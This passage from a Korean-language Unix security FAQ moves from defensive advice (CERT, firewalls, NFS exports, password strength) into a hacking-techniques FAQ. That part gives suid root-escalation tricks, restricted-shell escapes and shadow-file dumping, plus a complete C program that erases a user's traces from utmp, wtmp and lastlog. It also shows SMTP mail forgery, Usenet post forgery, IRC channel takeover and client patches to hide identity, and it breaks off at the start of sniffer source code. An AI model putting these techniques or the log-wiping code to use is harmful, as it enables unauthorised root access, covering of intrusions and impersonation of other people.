로써 얻는 것은  침투했다는 기록뿐이다. 크래커는 새로운  시스템으로 침투하기
전에 여러 단계를 거치는 방식으로 자신의 흔적을 없앰으로써 추적을 어렵게 만
든다. 가능한 많은  시스템을 침투하여 얻는 장점은 접속 세탁이  훨씬 용이해진
다는 사실이다.
또다른 이유는 심리학적인  것으로,컴퓨터를 다루는 것을 좋아하는  일부 사람들
은 많은 시스템을 침투함으로써 자신의 실력을  확인하고 싶어하는 것이다. 그들
은 NASA,AT&T,UCB 와  같은 거대 조직에 침투하기  위하여,6개의 인터넷 기
계,2개의 gateways 그리고 X.25  network를 거쳐서 이동하는 것을 '아주 매끄럽
다'고 생각한다. 그것을 인터넷 관광이라고 생각하는 것 같다.
이러한 생각은 크래커에게는  충분히 매력적인 것으로 받아들여지고  있으며, 크
래킹에 한번 물들면 좀처럼 빠져나오기 힘들게 되는 것이다.
'어떻게'에 관한 대답은 피상적인 영역이다.  대학에서는 대학원생들 사이에 자기
ID를 빌려주는 것이 굉장히 보편적이다. 가령 다음의 예를 보자.
'A가 다른 site에 있는 남자친구 B에게 자신의  ID를 빌려주었는데,B에게는 네트
워크를 이리저리 기웃거리기를 좋아하는  C라는 친구가 있었다. C는 A의 site에
서 크래킹이 가능한 여러 ID를 찾아내고,그것들을 주위의  친구들에게 알려 주었
다. 얼마 지나지  않아, A가 사용하는 시스템에는  C를 비롯한 수많은 해커들이
술마시며 노래하면서 놀고 있었다.'
이런 종류의 일은 대학뿐 아니라 어디서나 쉽게 벌어지는 일이다.
이것을 해결하는  방법은 교육을 하는  것이다. 사용자들이 다음과  같은 태도를
가지지 못하도록 해야 한다.
'나는 내가 사용하는 계정에서 어떤 패스워드를 사용하든지 신경쓰지 않는다.
결국 나는 레이저를 이용하여 프린트를 하기 위해 네트워크를 이용할 뿐이다'
컴퓨터의 사용이 자신이 속한  그룹에게 얼마나 중요한 책임이 있는가를 가르쳐
야 한다.

9.침투를 당하면 어떻게 해야 하는가?
인터넷에 물려있다면, CERT에 연락하라.
CERT는 1988년에 defense advanced research projects agency(DARPA)에 의해
구성되었으며, 인터넷 사용자들이 겪는 보안 문제에  관해 돕는것을 목적으로 한
다.
CERT의 본부는 software engineering,carnegie mellon univ.,pittsburgh,PA에  위
치해 있다.

10.'firewall'(방화벽)이 무엇인가?
인터넷 firewall은 당신의 사이트와 인터넷 중간에 있는 machine으로,네트워크의
소통상황을 조절하며 인터넷 port에  대한 접속을 제한한다. 비슷한 시스템이 다
른 네트워크 타입에도 가능하다.

11.왜 setuid shell scripts를 사용할 수 없는가?
여러기지 이유로 사용해서는 안되는데, 대개는 유닉스  커널에 있는 버그와 관련
되어 있다. 여기에 몇가지 잘 알려진 문제가 나오는데, 이들은 최근에 와서야 수
정되었다.
(1)script가 "#!/bin/sh"로 시작하고, link(symbolic이든 다른것이든)rk "-i"와 함게
만들어질 수 있다면,script를 실행할 수  있으므로 setuid shell로 바로 들어갈 수
있다. "#!/bin/sh -i",즉 interactive shell이다.
(2)명령어 처리가 시작되는 시점과 그리고 새롭게  setuid를 설정하는 exec()ed가
진행되는 시점 사이에서  어느 셀스크립트를 당신이 선택,실행가능한  것으로 바
꾸어주는가 하는 상황이  많은 커널들에게 피해를 입힌다.  계속해서 집중적으로
파고든다면 이론상으로는,누구든지  실행시키기를 원하는 프로그램의  커널을 얻
을 수 있다
(3)IFS의 버그 : IFS변수는 명령어들을 처리할 때  셀에 의해서 공백으로 처리되
는 문자들의  표를 가지고있다. '/'문자를  가지는 IFS변수를 바꾸어 'bin/true'를
'bin true'로 바꿀 수 있다.
만일 원하는 것이 변경된 IFS변수를 빼내는 것이라면 'bin'명령을 당신의 경로에
설치하고 'bin/true'라는 setuid 스크립트를 실행하면 된다.
정말로 스크립트를 이용하여 setuid를 설정하려면 다음의 두가지 방법이 있다.
a)스크립트가 실행되기 전에  IFS와 PATH를 리셋시키지 않도록 주의하며 스크
립트 주변의 'C'에  setuid를 집어넣는다. 만일 시스템이  라이브러리와 링크시키
기 시작한다면 LD_LIBRARY_PATH의 설정값을 생각해 보는것이 좋다.
b)안전한 setuid의  설정의 용이성을 가지고 있으며  보안에 매우 강한  perl같은
스크립트 언어를 사용하라.
그러나 진짜로 안전한 것은 아예 setuid 스크립트를 사용하지 않는것이다.

12.console로 접속한 'root'를 영원히 빠져나올수 없는가?
console로 'smart' 터미날을 사용하고,'root'로  접속한 상태에서 '/dev/console'을
쓰기  가능하게 만드는  것은  잠재적인  결점을 가지고있다.  터미널은  escape
sequence를 통해서 원격제어하는  것에 다소 취약점을 가지고  있고,root shell로
무엇인가를 입력하는 것이  가능하다. 터미널 유형은 'ps'명령을 이용하면 알  수
있다.
이것에 대한 다양한 해결책을 모색해 볼 수 있는데,일반적으로는 console 소유자
와 group-write에게만 엑세스 권한을  주고,그런 다음 console에 출력을 보낼 필
요가 있는 프로그램에서 setgid 메카니즘을 이용하는 것이다.

13.null password를 가지는 unix 계정을 만들수 없는가?
임의로 사용하기 위하여 패스워드가 없는 계정을 만드는것은 상당히 위험하다.
특별한 이유가 있어서라기보다는 크래커가  이용할 수 있는 거점을 제공할 수있
기 때문이다.
예를들어,누군가가 패스워드가 없는 계정인 'sync'를 찾아내고 login 과정없이 디
스크를 사용하게 되었다고 가정하자. 이것은 안전하고  위험해 보이지 않을 수도
있다.
그러나 당신의 시스템이 FTP에  접속하기 전에 사용자를 검사하지 않는 시스템
중의 하나라면  문제가 발생할 수  있다. 크래커는 다양한 FTP방법을  이용하여
접속을 하고, 패스워드가 없는 계정  'sync'를 이용해서, 패스워드 파일을 복사해
가 수 있다.
유닉스의 최신버전은 이런 종류의 사건을 미리  방지하는 기능을 갖고 있지만,완
전하게 안전한 시스템을 위해서는 시스템의 모든 프로그램과 사용자확인법 등에
관해서 깊이 있는 지식을 가지고있어야 한다.
null-password가  갖고있는   또  다른   문제점은,자신의  라이브러리에   있는
LD_LIBRARY_PATH 변수를 바꿔서 'login -p'또는 'su'를 실행시킴으로써 자신
의 프로그램을 'sync'가  사용한 것처럼 시스템 프로그램을 속일  가능성이 있다
는 것이다.

14.x-windows와 관련된 보안상의 허점은 어떤것이 있는가?
일부는 X에만, 어떤 것들은 시스템 전체의 보안에 영향을 미치기도 한다.
여기서는 자세히 다루지 않겠으니 다른 참고서적을 보기바란다.
한가지 지적하고 싶은  것은 X는 'incompatible usage'보안에  문제를 가지고 있
는 프로그램이라는 것이다.  예를들어 크래커는 패스워드가 없는  계정을 이용하
여 호스트에 있는 xsession을 실행할 가능성이 있다.

15.NFS에는 어떤 허점이 있는가?
NFS의 보안은 서버가 만들어내는 파일을 설치하는 사람에게 크게 의존한다.
호스트가 만들어낸 디렉토리를 설치하기  위하여 정확한 포맷을 정하는 것은 유
닉스의 종류에 따라  다양하지만, 일반적으로는 그 정보는 화일  '/etc/exports'에
저장된다. 이 화일은 많은 디렉토리를 가지고 있으며,각각은 NFS가 그 디렉토리
로 mount할 수 있는 특정한  호스트 또는 넷그룹의 목록을 가지고 있다. 이목록
은 'access list'라고 불린다.
'hosts'는 개별적인 시스템이지만,'netgroups'는  '/etc/netgroup'에 명시되어 있는
hosts 와 username의 조합이다. 이것들은 finetuning access의 한 방법을 제공할
목적으로 만들어진 것이다.
이러한 화일들은 읽기 전용,읽기-쓰기 가능,그리고 슈퍼유저가 접근할 수 있는가
에 대한 정보들을 포함하고 있다. 중요하게  기억해야 할 점은 /etc/exports에 있
는 특정한 디렉토리를 acess list 가 포함하고 있는가에 대한 여부이다.
(1)<nothing>
디렉토리는 어디에 있는 누구든지 mount할 수 있다.
(2)<a specific hostname>
디렉토리는 허가된 사람만이 mount할 수 있다. 이것은 신뢰할 만한 사람을 의미
하는 것은 아니다. 예를들어 NFS가 PC에서 돌아가는 상황이라면 어느 누구든지
mount 할 수 있다.
(3)<a netgroup name>
netgroup이,
a)빈칸이라면 어디에 있는 누구든지 마운트할수 있다.
b)'(,,)'을 포함하고 있다면,어디에 있는 누구나 마운트할수 있다.
c)빈칸이거나 '(,,)'으로 기록된 netgroup을 가지고 있다면,어디에 있는 누구나
 마운트 할수있다.
d)'(hostname,,)'라고 적혀있으면, 이 호스트의 사용자만이 마운트할수있다.
e)(,username,)'라고 적혀있으면, 이 사용자는 어디서든지 마운트할수있다.
(4)<hostname 이나 netgroup이 아닌 단어일 경우>
만약 host name인  'athena'를 'ahtena'로 잘못 입력했을 경우,  이것은 netgroup
name으로 받아들여진다. 이와 같은  netgroup은 존재하지 않으므로 빈칸으로 인
식된다. 따라서 어디에 있는 누구든지 마운트할수있다.
따라서 /etc/exports 와 /etc/netgroup 에 집어넣을 내용에 대해서 충분히 주의를
기울이지 않는다면,pc를 가지고있는 사용자들은 다음과 같은 행동을 할 수 있다.
a)server의 화일시스템을 자신의 디스크에 복사할 수 있다.
b)/etc/passwd,.rhosts,/etc/hosts.equiv를 편집할 수 있다.
c)또 다른 사용자,아마도 'root'로 접속할 가능성이 있다.
위의 정보는 NFS에 따라  달라질 수 있지만,보통 NFS에서는 모두 적용이  되었
다.'EMPTY' netgroup을 만드는 가장 좋은 방법은 다음과 같다.
ngname(-,-.,-)
이것은 no-one,no-host,no-NIS-domain을 의미한다.

16.안전한 패스워드를 만드는 방법은 무엇인가?
방법은없다. '만든다'라는 말이 중요한 의미를 가진다. 일단 패스워드를 만들어내
는 알고리즘이 시스템에서 구성되면, 이 패스워드를  알아내기 위해서는 이 알고
리즘만 분석해내면 된다. 알고리즘을 복잡하게 만들지  않는다면 쉽게 분석이 될
것이다.
a)크래커는 모든 사용자의 패스워드에 대해 password generator가 만들어 낼 수
있는 모든 경우를 대입해본다.
b)패스워드 알고리즘을 분석해서 다른 사용자의 패스워드에 적용시켜본다.
패스워드를 제대로 만들려면 다음과 같이 해서는 안된다.
자신의 이름이나 이름+머릿글자의  일부만 바꾼다,사전에 있는 단어를 사용한다,
머릿글자,생활과 관련되어 쉽게 추측이 가능한단어......

17.PASSWORD는 그렇게 중요한가?
최전선에서 침투를 막아내는 역할을 하므로 매우 중요하다. 크래커가 시스템에
접근할 수 없다면,패스워드 파일을 쓰거나 읽을 수  없으며 그 외의 다른 방법도
존재할 수 없다.
그가 최소한 패스워드 파일을 읽을 수 없다면 그 안에 있는 어떤 패스워드도 알
아낼 수 없다. 그러나  그가 패스워드 화일을 읽을 수가 있다면,시스템의 허점을
이용해서 root의 패스워드 마져 알아낼 가능성이 있다.

18.PASSWORD의 조합이 가능한 개수는 얼마나 되는가?
대부분의 사람들은 CRACK같은  프로그램들이, 패스워드에 쓰인느 가능한  모든
문자를 이용하여 검색을 할 수 있을 만큼 발전할 것이라고 걱정하고 있다.
간단하게 다음처럼 가정을 해서 계산을해보자
(1)62개의 문자를 이용해서 패스워드를 만든다.(A-Za-z0-9)
(2)5개부터 8개의 문자로 패스워드를 만든다.
그렇다면 가능한 패스워드의 크기는 다음과 같다(62개의 문자를 이용)

             100000 +
            1000000 +
           10000000 +
          100000000 =
       ------------
          111100000

현재의 기술을 이용하면 위의 문자열을 검색하는 것은 그리 어렵지 않다.
그러나 패스워드에는 이 외에도 다양한 문자들이 사용된다는 것을 잊지 말아라.
<space>,모든 구두점, 기호(~<>|\$%^&*). 만약 95개의 비제어 문자를  패스워드
에 사용할 수 있다면, 크래커가 이 모두를 검색하는 것은 쉽지않다.
그러나 아직도 크래커가 시스템에 침투할 가능성은 여전히 존재한다.
너무 걱정할 것은 없다. 강력한 패스워드  화일을 만들어서 시스템을 보호한다면
크래커도 쉽게 침투하지 못할 것이기 때문이다.

19.아직도 인터넷 WORM이 침입가능한 시스템이 있는가?
대부분의 경우 유닉스  프로그램의 버그가 수정되어 지금은  worm이 침입할 수
있는 시스템이 많지 않다.
그러나 아직도 분명히 침입 가능한 시스템이 존재한다.


* 해킹테크닉에 대한 주요 FAQ 모음 *

1.어떻게 유닉스 패스워드 화일에 접근할 수 있는가?
표준 유닉스에서는 password file 이 /etc/passwd이다.
NIS/yp 또는 password shadowing을  이용하는 유닉스 시스템에서는 패스워드화일이 다를 수 있
다.

2.어떻게 유닉스 패스워드를 깨뜨리나?
일반적으로 유닉스 패스워드는 특수한 함수로 암호화가되어 있어 해독이 상당히 어렵다. login 프
로그램은 password:에서 입력한 문자들을 암호화하며,이렇게 암호화된 문자열은  유닉스에 저장되
어 있는 기존의 암호화된 문자열과 비교가 된다. 이렇게  암호화된 문자열이 무엇인가를 알아내기
위해서 단어표를 이용하는  방법이 있다. 단어 표에  있는 각각의 단어는 암호화되고  해석하고자
하는 패스워드의 암호화 형태와 비교된다.
유닉스  패스워드를  알아내는  가장  좋은  프로그램은  현재  alec  muffet이 만든  CRACK이
며,PC-DOS에서는 현재 CRACKERJACK이 많이 쓰이고있다.

3.패스워드 쉐도윙(암호 숨기기)는 무엇인가?
Password shadowing 은 보안 체계를 지칭하는 것으로,패스워드 쉐도윙을 이용하면,
/etc/passwd에 들어 있는 각각의  패스워드는 특별한 기호로 바뀌어지며,바뀌어진 패스워드는 일
반 사용자가 읽을 수 없는 파일로 분리되어 저장된다. 일반적인 시스템에서 패스워드쉐도윙에 있
는 패스워드 화일을 알아내기 위해서는  getpwent() 를 계속해서 호출하는 아래의 프로그램을 이
용한다.
예:

#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}

4.쉐도윙으로 만들어진 패스워드 화일은 어디에 위치하는가?
Unix                  Path                            Token
-----------------------------------------------------------------
AIX 3                 /etc/security/passwd            !
       or             /tcb/auth/files/<first letter   #
                            of username>/<username>
A/UX 3.0s             /tcb/files/auth/?/*
BSD4.3-Reno           /etc/master.passwd              *
ConvexOS 10           /etc/shadpw                     *
ConvexOS 11           /etc/shadow                     *
DG/UX                 /etc/tcb/aa/user/               *
EP/IX                 /etc/shadow                     x
HP-UX                 /.secure/etc/passwd             *
IRIX 5                /etc/shadow                     x
Linux 1.1             /etc/shadow                     *
OSF/1                 /etc/passwd[.dir|.pag]          *
SCO Unix #.2.x        /tcb/auth/files/<first letter   *
                            of username>/<username>
SunOS4.1+c2           /etc/security/passwd.adjunct    ##username
SunOS 5.0             /etc/shadow
                      <optional NIS+ private secure maps/tables/whatever>
System V Release 4.0  /etc/shadow                     x
System V Release 4.2  /etc/security/* database
Ultrix 4              /etc/auth[.dir|.pag]            *
UNICOS                /etc/udb                        *

5.NIS/yp는 무엇인가?
전에는  yp (Yellow Pages)라고 알려졌던  NIS (Network Information System) 의 주 목적은 패스
워드자료와 같이 네트워크를 구성하는 여러 CONFIGURATION DATE를 다양한 시스템이 공유할 수 있
도록 하기 위해  만들어졌다. 그러나 단지 시스템의 보안을  증가시킬 목적으로 만들어진 것만은
아니다. NIS를 이용하면 /etc/passwd 파일은  다음처럼 아주 간단해진다. 이 파일의 내용을 보려
면 ypcat passwd라는 명령어를 이용한다.

+::0:0:::

6.'ypcat passwd'에서 콤마뒤에 나오는 기묘한 문자는 무엇인가?
그 문자는 password aging data라고  불리며,시스템 관리자가 정한 기간이 지나면 사용자가 패스
워드를 변경하게 하는 역할을 한다.

]
] 다음은 'password aging data'가 들어있는 /etc/passwd 파일의 예이다.
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
암호화가 된 패스워드에서 콤마뒤에 나오는 문자는 password aging mechanism을 따른다.
]
] 위 예에서 Password aging characters는 다음과 같다.
]
] M.z8
]

4개의 문자는 다음과 같이 해석된다.
1  패스워드가 변경되지 않고 사용될 수 있는 최대기간(주 단위)
2  패스워드가 변경되기 전에 사용해야만 하는 최소 기간(주 단위)
3,4 세가지 특별한 경우가 존재한다.

첫번째와 구번째 문자가 '..'인 경우,사용자는 다음번  login에서 패스워드를 변경해야 한다. 그러면
패스워드 프로그램은 password  aging characters를 제거하므로 차후에는  패스워드를 꼭 변경할
필요는 없다. 세번째와 네번째 문자가 '..'인 경우도  마찬가지로 사용자는 패스워드를 변경해야 한
다. password aging은 첫번째와 두번째 문자에 정의된 대로 이루어진다. 첫번째 문자(MAX)가 두
번째 문자(MIN)보다 값이 작을  경우는 사용자는 그의 패스워드를 변경할 수 없으며,root만이 바
꿀 수 있다.

                        Password Aging Codes
+------------------------------------------------------------------------+
|                                                                        |
| Character:  .  /  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  G  H |
|    Number:  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 15 16 17 18 19 |
|                                                                        |
| Character:  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  a  b |
|    Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
|                                                                        |
| Character:  c  d  e  f  g  h  i  j  k  l  m  n  o  p  q  r  s  t  u  v |
|    Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
|                                                                        |
| Character:  w  x  y  z                                                 |
|    Number: 60 61 62 63                                                 |
|                                                                        |
+------------------------------------------------------------------------+

7.VMS에서 패스워드 화일에 어떻게 접근할 수 있는가?
VMS에서 패스워드 파일은  SYS$SYSTEM:SYSUAF.DAT 이며,유닉스와 달리 일반  사용자는 이 파일을
읽을 수 없다.

8.VMS 패스워드를 어떻게 깰 수 있는가?
SYS$GETUAF 함수를 이용하여,암호화된 단어와 SYSUAF.DAT  에 있는 암호화된 자료를 비교하는 프
로그램을  작성하면 가능하다.  그러한  목적으로 만들어진  프로그램중에서  CHECK_PASSWORD 와
GUESS_PASSWORD 가 알려져있다.

9.사용이 제한된 shell을 어떻게 빠져 나올 수 있는가?
shell 기능을 주축으로  하는 프로그램을 실행시키면,사용자의 영역이  제한된 shell로부터 빠져
나올 수 있다.  대표적인 예가 vi이며,vi를 실행시킨 후  다음 명령어를 사용하라.계속하여 다음
명령어를 입력하면 shell로부터 빠려 나올 수 있다.

:set shell=/bin/sh
:shell

10.suid script나 프로그램으로부터 root로 이동할 수 있는가?
1. IFS를 변경하라.
프로그램이 system() 함수를 이용하여  다른 프로그램을 호출하면,프로그램을 속여서 IFS를 변경
할 수 있다.  IFS는 인자를 구분하기위해 사용된다. 프로그램이  다음과 같은 함수를 사용한다고
가정하자.

system("/bin/date")

IFS를 '/' 로 변경하면 shell은 '/'을 단지 bin 과 date을 구분하기 위하여 사용하므로(디렉토리
를 구분하기 위한 역할은 사라진다) /bin/date 을 'bin date'로 해석하게 된다.
누군가가 'bin'이라는 경로에 자신의 프로그램을  가지고 있다면, suid 프로그램은 /bin/date 대
신에 자신의 프로그램을 실행하게 된다.
IFS를 변경하기 위하여 다음의 명령어를 사용하라.

IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell

2. script 를 -i에 연결하라.
-i라는 이름을 가진 symbolic link를 프로그램에 만들어라. -i를 실행시키면 shell(bin/sh)을 대
화형 모드로 수행할 것이다. 이것은 suid shell scripts에서만 가능하다.

예:

% ln suid.sh -i
% -i
#

3. race condition을 이용하라.
커널이 /bin/sh를 수행하고 있는 동안 symbolic link를 다른 프로그램으로 바꿔라.

예:

nice -19 suidprog ; ln -s evilprog suidroot

4. 프로그램에서 bad input을 입력하라.
같은 명령어 줄에서 프로그램과 다른 명령어를 함께 수행하라.

예:

suidprog ; id

11.시스템 LOG FILE에서 자신의 해킹흔적을 어떻게 지울것인가?
/etc/utmp, /usr/adm/wtmp 그리고 /usr/adm/lastlog 파일을 편집하라.
그러나 이러한 파일들은 vi와 같은 일반적인 에디터로 편집할 수 있는 문서 파일이 아니다. 이러
한 목적으로 특별하게 짜여진 프로그램을 이용해야 한다.

예:

#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}

12.가짜메일(FAKEMAIL)을 어떻게 보내는가?
메일이 원형대로 나타나기를 원하는 시스템에 접속한 후, 다음처럼 메세지를 작성하라.

 HELO bellcore.com
 MAIL FROM:Voyager@bellcore.com
 RCPT TO:president@whitehouse.gov
 DATA
        Please discontinue your silly Clipper initiative.
.
 QUIT

RFC 931을 사용하는 시스템에서는 "MAIL FROM:"이라는 부분은 가능하지 않다.
우선 자신에게 메일을 보냄으로써 테스트를 해본다.
더많은 자료는 RFC  822 "Standard for the format of  ARPA Internet text messages."를 참조한
다.

13.유즈넷을 어떻게 속이는가?
inews를 사용하여 다음의 내용을 입력하라.

 From:
 Newsgroups:
 Subject:
 Message-ID:
 Date:
 Organization:
제대로된 newsgroup을 위해,inews는 다음의 내용을 필요로 한다.
 Approved:
그러면 게시물을 첨가하고 <Control-D>를 이용하여 끝낸다. 다음은 예이다.

예:

 From: Eric S. Real
 Newsgroups: alt.hackers
 Subject: Pathetic bunch of wannabe losers
 Message-ID: <esr.123@locke.ccil.org>
 Date: Fri, 13 Aug 1994 12:15:03
 Organization: Moral Majority

 A pathetic bunch of wannabe losers is what most of you are, with no
 right to steal the honorable title of `hacker' to puff up your silly
 adolescent egos. Get stuffed, get lost, and go to jail.

                                        Eric S. Real <esr@locke.ccil.org>


 ^D

많은 시스템이 Originator:  를 명기하여 메세지가 누구로부터  발송되었는지를 나타낸다는 점에
주목해야 한다.

14.어떻게 IRC(인터넷 채팅)의 CHANOP에 침투하는가?
IRC로부터 떨어져 나온 sever를 찾아서 원하는 이름으로 channel을 만들어라.
sever가 net에 다시 접속할 때 실제적인 channel이 있는 ChanOp를 소유하게 될 것이다.
sever에서 ServerOp 를 가지고 있다면 의도적으로 분리시킬 수 도 있다.

15.나의 사용자 이름을 숨기려면 IRC클라이언트를 어떻게 수정하는가?
cs.bu.edu /irc/clients에 있는 irc.c 와 ctcp.c 의 내용을 변경하면 된다.
irc.c에서는 사용자이름,ctcp.c에서는 개인정보 부분을  수정한 후에 컴파일을 하여 실행하면 된
다.

예:

*** ctcp.c.old  Wed Feb 10 10:08:05 1993
--- ctcp.c      Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
        struct  passwd  *pwd;
        long    diff;
        int     uid;
!       char    c;

        /*
         * sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
        struct  passwd  *pwd;
        long    diff;
        int     uid;
!       char    c, *fing;

        /*
         * sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
        if (uid != DAEMON_UID)
        {
  #endif /* DAEMON_UID */
!               if (pwd = getpwuid(uid))
                {
                        char    *tmp;

--- 348,356 ----
        if (uid != DAEMON_UID)
        {
  #endif /* DAEMON_UID */
!               if (fing = getenv("IRCFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                {
                        char    *tmp;

*** irc.c.old   Wed Feb 10 06:33:11 1993
--- irc.c       Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
                malloc_strcpy(&my_path, "/");
        if (*realname == null(char))
                strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (*username == null(char))
        {
                if (ptr = getenv("USER"))
                        strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
                malloc_strcpy(&my_path, "/");
        if (*realname == null(char))
                strmcpy(realname, "*Unknown*", REALNAME_LEN);
!       if (ptr = getenv("IRCUSER"))
!               strmcpy(username, ptr, NAME_LEN);
!       else if (*username == null(char))
        {
                if (ptr = getenv("USER"))
                        strmcpy(username, ptr, NAME_LEN);

16.이상한 문자로 표시된 디렉토리로 이동하는 방법은 무엇인가?
directory 이름에 이상한 문자가 표시되어 있으면,자료를 숨기려고 하거나 상업적 용도의 프로그
램인 경우가 많다.
그러한 문자를 알아내는 방법들은 몇가지가 있는데,먼저 ls명령어를 이용하는 방법을 살펴보자.
ls 의 도움말을 보면 다음과 같은 내용이 있다.

    -F  디렉토리는 ``/'',실행가능한 파일에는  ``*'', 연결고리에는 ``@'' 라는 표시를 만들어
        준다.
    -q  파일명에 들어있는 비그래픽 문자들을 ``?''로 표시해 준다.
    -b  \ddd에 들어있는 비그래픽 문자들을 8진수로 표시해준다.

ftp로 연결한 곳의 디렉토리는 "ls  -al filename" 이라는 명령어를 이용하면 지정된 파일명으로
저장이 된다.
이렇게 저장이 된 파일 안에 들어 있는 이상한 문자가 무엇인지를 정확히 보기위해서
"cat -t -v -e filename" 이라는 명령어를 이용하도록 한다.
cat의 도움말을 보면 다음과 같은 내용이 있다.

    -v  인쇄가 불가능한 문자들을 나타낸다.
        제어문자는 ^X (<Ctrl>x), 와 같이 나타난다.
        <DEL><8진수로 0177>DMS ^?로 표시된다. ASCII 문자가 아닌 경우는
        <high bit인 8번째 bit가 1인 경우>  M -x 로 표시되는데,여기서 x는 high bit를 제외한
        나머지 7개의 bit가 표시하는 문자이다.
    -t  탭은 ^I,페이지 넘김은 ^L로 나타내준다. -v와 함께 사용되어야만 한다.
    -e  새 줄이 시작되기에 앞서서 각 줄의 끝에 ``$'' 을 표시하게 한다.
        -v와 함께 사용되어야 한다.

디렉토리 명이 <SPACE> 나 <TAB>을 포함하고 있을 경우 따옴표를 이용해야 한다.

cd "..<TAB>"

IBM-PC에서는 <ALT> key 와 ASCII 코드값을 이용하면 특수문자를 입력할 수 있다.
<ALT> key를 누른 상태에서 특수문자에 해당하는 코드 값을 눌러준다.
<ALT>키에서 손을 떼면 원하는 문자가  화면에 나타난다. 특수문자의 ASCII코드값을 알기 위해서
는 코드 표를 참조하는 것이 좋다.
^Z (suspend), ^C (intr)와 같은 제어문자를 가진 디렉토리를 만들고자 할 경우,제어문자를 다른
문자로 변경하기 위하여 stty를 사용할 필요가 있다.
stty에 대한 도움말을 보면 다음과 같다.
제어문자 +C는 제어문자를 C에 할당하는데,여기서 제어문자는 erase, kill, intr (interrupt),
quit, eof, eol, swtch(switch), start,  stop or susp를 의미한다. star와 stop은 제어문자 C할
당에만 유효하다. caret (^)이 C보다 먼저 나오는 경우는 제어문자에 해당한다.
(예를들어 ^D는 <Ctrl+D>이며 ^?는 <DELETE>,^- 는 undefined로 해석된다.)
현재의 stty 기본 설정값을 보려면 stty -a를 입력하면 된다.

17.ethrnet sniiffing(이더넷 추척)은 무엇인가?
Ethernet sniffing 이란,자신이 찾고자 하는  정보를 발견하기 위해서 전송상태를 감시하는 것을
의미한다. 즉 어떤  조건에 맞는 자료르 프로그램이 발견하게 되면,  그 내용은 프로그램에 의해
파일로 저장이 된다. 정보를 알아내기  위하여 일반적으로 가장많이 쓰이는 조건은 'login',또는
'password'와 같은 단어들이다.
많은 Ethernet sniffers 가 있으며,다음은 그 예들이다.
시스템에 따른 스니터와 스니퍼가 있는 FTP

OS              Sniffer
~~              ~~~~~~~
HP/UX           nettl (monitor) & netfmt (display)
                nfswatch        /* Available via anonymous ftp           */
Irix            nfswatch        /* Available via anonymous ftp           */
                Etherman
SunOS           etherfind
                nfswatch        /* Available via anonymous ftp           */
Solaris         snoop
DOS             ETHLOAD         /* Available via anonymous ftp as        */
                                /* ethld104.zip                          */
                The Gobbler     /* Available via anonymous ftp           */
                LanPatrol
                LanWatch
                Netmon
                Netwatch
                Netzhack        /* Available via anonymous ftp at        */
                                /* mistress.informatik.unibw-muenchen.de */
                                /* /pub/netzhack.mac                     */
Macintosh       Etherpeek

Here is source code for an ethernet sniffer:

/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
